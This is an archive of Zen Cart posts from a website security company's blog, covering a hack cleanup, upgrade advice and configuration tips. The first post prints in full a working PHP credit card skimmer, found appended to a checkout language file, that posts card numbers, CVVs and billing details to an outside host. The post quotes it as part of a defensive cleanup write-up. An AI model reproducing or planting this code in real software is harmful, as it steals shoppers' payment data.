Don’t Get Caught With Plugin VulnerabililitesWith our Plugin Vulnerabilities service you are alerted if you any of the WordPress plugins you use contain a security vulnerability.
Search This Blog
- Where Are The Vulnerabilities That SiteLock’s Vulnerability Scanning Should Have Found?
- Joomla Firewalls Are Not a Replacement For Properly Cleaning Up a Hacked Website
- SiteLock Promoted Services To WordPress.com Users That Are Not Relevant to Them
- SiteLock Filed a DMCA Takedown Notice Against Our Website For A Screenshot of Their Homepage
- Joomla Hack Cleanup Provider Still Using Joomla Version EOL’d Over Four and Half Years Ago
Web Software Updates
Did We Make a Mistake?While it seems to be acceptable for blogs discussing web security to contain numerous factual mistakes, we hold ourselves to a higher standard. We only write about things that we actually understand and only after we have double checked the information. So if you see a mistake in one of our posts please leave a comment on the post or contact us so that we can add a correction.
Category Archives: Zen Cart
Its Not Hard To Find The Source of a Credit Card Compromise in Zen Cart If You Know What You Are Doing
When it comes to dealing with hacked websites there are lots of people who feel it is appropriate for them to do that work without seeming to have any of the expertise needed to be able to properly do the work. We often see the end result of that when we are brought in to re-clean hacked websites after somebody else did it and then the website got re-hacked. We usually find that the original people doing the cleanup didn’t even attempt to do central parts of the cleanup (like determining how the website was hacked). The lack of expertise also showed up recently we were contacted about a Zen Cart based website where credit card information was seeming to be compromised on the website, as fraudulent charges were being made to credit card accounts after they were used on the website.
When we were contacted about this we were confused by a question raised, which was if we charge if were not able to find the vulnerability. Why would someone charge if they were not able to complete the work? In answering that, we were told that other people had looked into this and had not been to identify the problem. That seemed odd to us, since we have never had a problem finding the source of a credit card breaches in the past. The fact that the people that couldn’t find it were then recommending resolving the by upgrading Zen Cart, seemed to point the not knowing what they are doing at all (since upgrading the software on a website is not the proper way to clean up a hacked website). But maybe the code that was compromising the credit card information was well hidden?
One of the easiest thing to do when looking for malicious code on a website is to compare the contents of its files to a freshly downloaded copy of the software being used on it. When we did that with this website we found that one of the files modified from its original form was /languages/english/checkout_confirmation.php. Based on the file’s name that would seem to be possible location where the code to compromise credit card information might be. The modification involved the following code having been appended to the file:
$data1 = $_POST['paypalwpp_cc_firstname']; $data2 = $_POST['paypalwpp_cc_lastname']; $data3 = $order->billing['street_address']; $data4 = ''; $data5 = $order->billing['city']; $data6 = $order->billing['state']; $data7 = $order->delivery['postcode']; $data8 = $order->billing['country']['iso_code_2']; $data9 = $order->customer['telephone']; $data10 = $_POST['paypalwpp_cc_number']; $data11 = $_POST['paypalwpp_cc_expires_month']; $data12 = $_POST['paypalwpp_cc_expires_year']; $data13 = $_POST['paypalwpp_cc_checkcode']; $data14 = ''; // credit card owner $data15 = "[redacted domain name]"; $data16 = $order->customer['email_address']; $data17 = ''; // county $post77 = "firstname=".($data1)."&lastname=".($data2)."&street1=".($data3)."&street2=".($data4)."&city=".($data5)."&state=".($data6)."&zip=".($data7)."&country=".($data8)."&phonenumber=".($data9)."&ccnumber=".($data10)."&expmonth=".($data11)."&expyear=".($data12)."&cvv=".($data13)."&comment1=".$data14."&comment2=".$data15."&email=".($data16)."&county=".($data17); $url = "http://magecard.xyz/add"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); // set url to post to curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable curl_setopt($ch, CURLOPT_TIMEOUT, 60); // times out after 4s curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post77); $result = curl_exec($ch); // run the whole process curl_close($ch);
Even if you not an all that familiar with PHP code it is pretty obvious that this code has something to do with credit card information. Combine that with the fact that that code is so different that legitimate code in the file, which involves defining the language to be used on the checkout confirmation page:
define('NAVBAR_TITLE_1', 'Checkout'); define('NAVBAR_TITLE_2', 'Confirmation'); define('HEADING_TITLE', 'Step 3 of 3 - Order Confirmation'); define('HEADING_BILLING_ADDRESS', 'Billing/Payment Information'); define('HEADING_DELIVERY_ADDRESS', 'Delivery/Shipping Information'); define('HEADING_SHIPPING_METHOD', 'Shipping Method:'); define('HEADING_PAYMENT_METHOD', 'Payment Method:'); define('HEADING_PRODUCTS', 'Shopping Cart Contents'); define('HEADING_TAX', 'Tax'); define('HEADING_ORDER_COMMENTS', 'Special Instructions or Order Comments'); // no comments entered define('NO_COMMENTS_TEXT', 'None'); define('TITLE_CONTINUE_CHECKOUT_PROCEDURE', '<strong>Final Step</strong>'); define('TEXT_CONTINUE_CHECKOUT_PROCEDURE', '- continue to confirm your order. Thank you!'); define('OUT_OF_STOCK_CAN_CHECKOUT', 'Products marked with ' . STOCK_MARK_PRODUCT_OUT_OF_STOCK . ' are out of stock.<br />Items not in stock will be placed on backorder.');
It is hard to see how this could have been missed unless the people trying to find it had no business getting involved in working on something like this.
As to the what allow the code to be added to the website, we were only able to track it back to a Russian IP address that looked to have already gained some level of access to the website. As they were able to login in to the Zen Cart backend and look to have been able to read and write to files on the website.
It has now been a couple of months since Zen Cart 1.5.4 was released and we have now handled enough upgrades to the new version to provide our insights on whether it is time to upgrade Zen Cart 1.5.4.
Let’s start with what is new in Zen Cart 1.5.4. The new version doesn’t include any major changes. Instead it includes bug fixes, minor improvements, and security improvements. You can find the full list of changes in the release announcement.
The only issue we have found so far during upgrades is that many addon modules don’t officially support Zen Cart 1.5.4 yet. For some modules they may not need any changes and their maintainer just hasn’t bumped the Zen Cart version supported. Others that modify core Zen Cart files will need to have updated versions of those files included, until they do that you can use those with 1.5.4 if you apply the changes they make to those files to the versions of the file include with 1.5.4. The lack of official support is more of an issue if the modules don’t yet support at least Zen Cart 1.5.3 since that version made some changes that can have significant impact for modules.
With the basics set out, below we provide on advice on whether it is time to upgrade depending on your current situation:
Running Zen 1.3.9, 1.3.8, or older
If you are still running Zen Cart 1.3.9, 1.3.8, or and even older version you are overdue for an upgrade at this point so you should probably go ahead with the upgrade now. While issues with modules and 1.5.4 could cause some issues, you are going to probably run into module issues that will have to be dealt during testing when upgrading from those versions to any version of Zen Cart 1.5.
Need to Be Using a PA-DSS Certified Version of Zen Cart
Prior to Zen Cart 1.5.4 the only version of Zen Cart to be PA-DSS certified was 1.5.0, so you were stuck on that version if you needed PA-DSS certified software for PCI compliance. That wasn’t ideal obviously, but now you can now upgrade and you might need to since the “certification spec expired at the end of 2013” for 1.5.0.
Web Hosting Account Switching to PHP 5.4, 5.5, or 5.6
The number one reason we are hired do Zen Cart upgrades is that version currently being used is not compatible the version of PHP that the web server the website hosted on is being upgraded to. With the support for PHP 5.3 ending back in August web hosts should be moving to at least PHP 5.4 soon (though many web host are only now transitioning off of PHP 5.2 despite support ending in January of 2011). Zen Cart 1.5.4 is the second release to support PHP 5.4, 5.5, and 5.6 so anyone who is not using Zen Cart 1.5.3 and is moving to those versions of PHP should upgrade.
Running 1.5.0, 1.5.1, or 1.5.3
If you don’t need to upgrade for the new versions of PHP, don’t have an urgent need for an of the bug fixes or improvements, and use a lot of modules you may to want hold off until more modules are updated for Zen Cart 1.5.4. Otherwise, it would be a good idea to do upgrade now.
Google started out just providing text snippets and links to other websites in their search results and then overtime started adding more information directly in to the search results. For example, you can get sports scores right on the search results page. Sports scores are simple factual data so it hard to get those wrong, but more complex information is easier to get wrong. We recently made aware example where they are providing quite bad information.
Currently if you do a search related to upgrading Zen Cart you will get shown the following instructions above the results:
The instructions are taken from a page on GoDaddy’s website.
What sticks out to us is that not only are the instructions wrong, but they seem to have been written by some who doesn’t have any actual familiarity with Zen Cart.
Let’s start with the note above the instructions on GoDaddy’s page:
NOTE: If you are using Zen Cart schema 1.3.8a, you need to upgrade to 1.3.9 before upgrading to version 1.5. Otherwise, you will get errors.
This just doesn’t make any sense as the Zen Cart installer, which is used to upgrade the database schema, doesn’t have a problem doing an upgrade from 1.3.8a to the latest version, 1.5.4, without going to 1.3.9 first. Below is screenshot when doing that, you can see that not only does it allow you upgrade going back to that version, but it allows you to start from version 1.2.7:
The next thing that stands out is step 5, “Disable all plugins and set your theme to the default.” The way Zen Cart handles addons is different than a lot of other software. With WordPress for example, plugins are stored separately from the core software and you have the ability to enable and disable them from a central location. With Zen Cart addons they are more tightly connected to Zen Cart. In some cases the addons are modification to core Zen Cart files, which cannot be disabled short of removing the code. For other addons the addon itself would have to provide a mechanism for disabling, which many do not. We get the sense that the person writing took this advice from some other software, without understanding that it wasn’t applicable to Zen Cart.
Finally, the biggest problem with the instructions is the lack of any actual instructions on doing the upgrade. The entirety of GoDaddy’s instruction is “Upgrade Zen Cart to 1.5.0. For more information, see this Zen Cart help article.” The “more information” implies that “Upgrade Zen Cart to 1.5.0.” actually provided some information, which it didn’t. If you follow the link you land on Zen Cart’s 1,200+ word upgrade instructions that are nothing like GoDaddy’s. The whole thing comes across as attempt to write something around the link to the actual instructions, which they filled with incorrect information. Google’s inclusion directly in the search results then compounds this.
For the most part, the changes introduced in Zen Cart 1.5.3 have little impact on add-on modules in use, but we have found that one under the hood change is causing some problems. Previous versions of Zen Cart connected to the website’s database using PHP’s MySQL extension, starting with Zen Cart 1.5.3 the connection is instead made using PHP’s MySQL Improved (mysqli) extension. This change was needed at the very least to future proof Zen Cart as the MySQL extension was deprecated in PHP 5.5 and will be removed in a future version. For most modules the change has no impact, either because they don’t interact with the database or because they interact with it though Zen Cart’s database abstraction layer, so they don’t have any direct interaction with the database extension in use. In doing upgrades to Zen Cart 1.5.3 we have found that some modules, including the popular Easy Populate CSV and Super Orders, have direct interaction with the database using the MySQL extension. Because Zen Cart 1.5.3 is no longer using the MySQL extension to connect to the database, errors like the following will be shown when a module tries to utilize MySQL extension based functions:
Warning: mysql_query(): Access denied for user ‘root’@’localhost’ (using password: NO) in [redacted]/orders.php on line 1229 Warning: mysql_query(): A link to the server could not be established in /[redacted]/orders.php on line 1229 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in [redacted]/orders.php on line 1230
The quick solution to this type of error is to create a MySQL extension based connection for the module’s code to utilize. This can be done by adding the two following lines near the top, but below the line “<?php”, of the file with the error:
mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD);
The first line makes a connection to the database server listed in your configure.php file and the second will select the database listed in the configure.php.
A more permanent solution would be to modify the module’s code to utilize Zen Cart’s database abstraction layer, if possible.
It has now been a couple of months since Zen Cart 1.5.3 was released and we have now handled enough upgrades to the new version to provide our insights on the question that has been coming up when discussing upgrading Zen Cart with clients, is it time to upgrade Zen Cart 1.5.3?
Let’s start with what is new in Zen Cart 1.5.3. One of the big changes is that version 1.5.3 supports PHP 5.4, 5.5, and 5.6. The new version includes some security enhancements, including better password hashing. It also includes numerous bug fixes and some performance enhancements. You can find the full list of changes in the release announcement.
We have run into couple of issues when doing upgrades to 1.5.3. The first is that many addon modules do not officially support Zen Cart 1.5.3 yet. For some modules they may not need any changes and their maintainer just hasn’t bumped the Zen Cart version supported. Others that modify core Zen Cart files will need to have updated versions of those files included, until they do that you can use those with 1.5.3 if you apply the changes they make to those files to the versions of the file include with 1.5.3. Others need to be modified to work with Zen Cart 1.5.3. The second issue we have found is that some changes in Zen Cart 1.5.3 will require making changes with your current setup, for example changing the time zone now needs to be done differently and custom templates may need to be changed to support more secure redirect links.
With the basics set out, below we provide on advice on whether it is time to upgrade depending on your current situation:
Running Zen 1.3.9, 1.3.8, or older
If you are still running Zen Cart 1.3.9, 1.3.8, or and even older version you are overdue for an upgrade at this point so you should probably go ahead with the upgrade now. While issues with modules and 1.5.3 could cause some issues, you are going to probably run into module issues that will have to be dealt during testing when upgrading from those versions to any version of Zen Cart 1.5.
Need to Be Using a PA-DSS Certified Version of Zen Cart
Zen Cart 1.5.0 continues to be the only version to be PA-DSS certified, so for those that need that for PCI compliance purposes should remain on 1.5.0 for now. In the release announcement for 1.5.3 it says that a new PA-DSS certified version should “hopefully” be released in “only a couple months”.
Web Hosting Account Switching to PHP 5.4, 5.5, or 5.6
The number one reason we are hired do Zen Cart upgrades is that version currently being used is not compatible the version of PHP that the web server the website hosted on is being upgraded to. With the recent end of support for PHP 5.3 web hosts should be moving to at least PHP 5.4 soon (though many web host are only now transitioning off of PHP 5.2 despite support ending in January of 2011). Zen Cart 1.5.3 is the first release to support PHP 5.4, 5.5, and 5.6 so anyone moving to those versions of PHP should upgrade.
Running 1.5.0 or 1.5.1
If you don’t need to upgrade for the new versions of PHP, don’t have an urgent need for an of the bug fixes or improvements, and use a lot of modules you may to want hold off until more modules are updated for Zen Cart 1.5.3. Otherwise, it would be a good idea to do upgrade now.
When it comes to the security of websites, often the basic security precautions are not being taken. This year we have looked at data showing that many Joomla, Drupal, and WordPress based websites are not being updated in a timely manner, which leaves them at risk from vulnerabilities that have been fixed in subsequent releases. Companies involved with the development or maintenance of websites should be trying to do more to make sure that websites are kept up to date, but a couple of recent situations showed there are some companies out there trying to use people’s needs for updates as an opportunity to sell them unneeded work instead. Below we will take a look at those and provides some advice on preventing being taken advantage of in that type of situation.
Magento Doesn’t Require Incremental Upgrades
While recently discussing a Magento upgrade with a potential client they mentioned that they had tried a test of the upgrade that had had problems and that other companies that they had talked to had told them that the upgrade has to be done through a series of incremental upgrades to prevent that type of thing. That is, instead of going from their current version of 1.5 directly to 1.9 the website would need to be upgraded from 1.5 to 1.6 then to 1.7 then to 1.8 and finally to 1.9. When we heard that we were perplexed, not only are incremental upgrades not needed but in looking over lots of material on Magento upgrades (due to our having dealt with probably about everything that can go wrong with a Magento upgrade) we have never even seen doing that suggested. It also wouldn’t have had any impact on the problems they had. Doing those incremental upgrades was going to increase the cost of the upgrade, which seems to be why the companies would be claiming it was needed.
If incremental upgrades were needed you would expect it to be in the official upgrade documentation, which it isn’t. To better understand why that isn’t needed lets break down the upgrade. The upgrade involves changing two things:
The first is replacing the old Magento files with the new ones. If you directly upgrade to the new version or do incremental upgrades you will end up with the same files in use. The incremental upgrade might leave some left over files that are not used in the new version. So for this part of the upgrade the incremental approach adds nothing.
The second is updating the database to make it compatible with the new version of Magento. Magento will automatically make all the necessary updates from the version were running to the new version. So doing incremental upgrades would just split up the updates, but the end result would be the same updates running. We have never had any problem with database update caused by going directly from as far back as version 1.3.x to the latest version, 1.9.x. It is true to that sometimes servers have problems running through all the database updates, but there are better options for handling that then doing a bunch of incremental upgrades (doing the database portion of the upgrade on a separate server is very effective workaround provided you do this in your test of the upgrade first to insure it doesn’t cause any complications).
Websites Don’t Just Fail and You Can Upgrade Older Zen Cart Versions
The second situation was a lot more troubling. We were first contacted by a potential client about getting a quote for a Zen Cart upgrade and then they wanted quote to replace the store with a new Zen Cart installation. When we asked what was wrong that they needed a new Zen Cart installation they explained that another company had told them that their current Zen Cart installation “will fail and I will wake up one day and it will be gone” and they would need a whole new one. The idea that the website would just fail one day sounds quite scary, but it isn’t true. Websites don’t just fail like that. The only situation we could think of where something close to like that is if a web host upgrades to a newer versions of PHP then older versions of Zen Cart will stop functioning. That can prevented by upgrading to a newer version of Zen Cart. So why couldn’t they just upgrade? Well the other company was claiming that there Zen Cart installation was to old to upgrade. We have no idea why they would say that since the version in use, 1.3.9f, is much newer than versions we frequently do upgrades from. Either the other company, which portrayed themselves as Zen Cart specialists, didn’t have any idea what they are doing or they trying to trick people into unneeded work.
There are two good options to make sure you don’t get taken advantage of in situations like this. First, when you are looking into having an upgrade done contact multiple companies to discuss what they would do in the situation. In these cases when the suggested unneeded work was brought up we were able to explain why it wasn’t needed. The second is to ask in the forum for the software if what the company is telling you is accurate. From what we have seen the information in those forums is generally accurate and in the type of situations we described we are sure someone would have explained that what is being said by the companies isn’t true.
By default Zen Cart uses the time zone of the server the website is hosted on as the time zone for the store, which often isn’t the preferred time zone. In the past changing the time zone required modifying the server or using a module (either the Time Zone Offset module or the subsequent Time Zone Fix module). With Zen Cart 1.5.3 all you have to do to set the time zone is to add your preferred time zone in the file /includes/extra_configures/set_time_zone.php on the line:
$TZ = ” // eg: ‘Europe/Oslo’
For example, if you are in Sydney, Australia you would change it to:
$TZ = ‘Australia/Sydney’ // eg: ‘Europe/Oslo’
The full list of time zones values available can be found at http://www.php.net/manual/en/timezones.php.
If the setting has properly configured your preferred time zone will be shown at the top of the Zen Cart admin pages:
For those currently using the Time Zone Fix module to set the time zone, you will need to switch to the new method when you upgrade to Zen Cart 1.5.3 as the module no longer functions in 1.5.3.
When the makers of web software talk about security they always emphasize the importance of keeping software updated. One of the developers of WordPress said it this way “The only thing that I can promise will keep your blog secure today and in the future is upgrading.” Keeping software updated is good advice, but isn’t advice that the software makers, including WordPress, always follow themselves.
We recently mentioned a pretty egregious example of this from OpenX. Their blog, where they recently said it is critical to keep software up to date, is running a version of WordPress that is over three years out of date. Also, the main portion of their website appears to be running a version of Drupal that is over a year out of date.
MediaWiki, the software the powers the Wikipedia, is run on portions of many web software websites so we decided that it would be a good choice to see if software makers are keeping other people’s software running on their website up to date. There are several ways to check what version of MediaWiki is running and the easiest way to check for outdated MediaWiki installations is to use our Meta Generator Version Check web browser extension, available for Firefox and Chrome. The extension will show a warning icon when a web page has a meta generator tag from an outdated version of web software.
For those not familiar with MediaWiki they currently provide security updates for the two most recent releases 1.17.x and 1.18.x. The most recent version of those releases 1.17.2 and 1.18.1, both of which were released on January 11. We update our web browser extension a month after a new version is released, so until then it will check for MediaiWiki versions below 1.17.1.
Before mentioning the websites running outdated versions it is worth noting that one website we checked was actually up to date. TYPO3’s TYPO3Wiki is running 1.18.1.
The WordPress Codex is the most out of date as it is running 1.15.5, which is two supported releases out of date. Support for 1.15.x ended in December of 2010.
The Zen Cart Wiki is one supported release out of date and running a version, 1.16.2, that that is three minor updates out of date. Support for 1.16.x ended in late November of last year.
Joomla! Documentation is one supported release out of date and running a version, 1.16.4, that that is one minor update out of date.
The phpBB Development Wiki is at least running the most recent version of 1.16.x, 1.16.5, but that release is no longer supported.
MoodleDocs is at least running a supported release, 1.17.x, but the version, 1.17.0, is two minor updates out of date.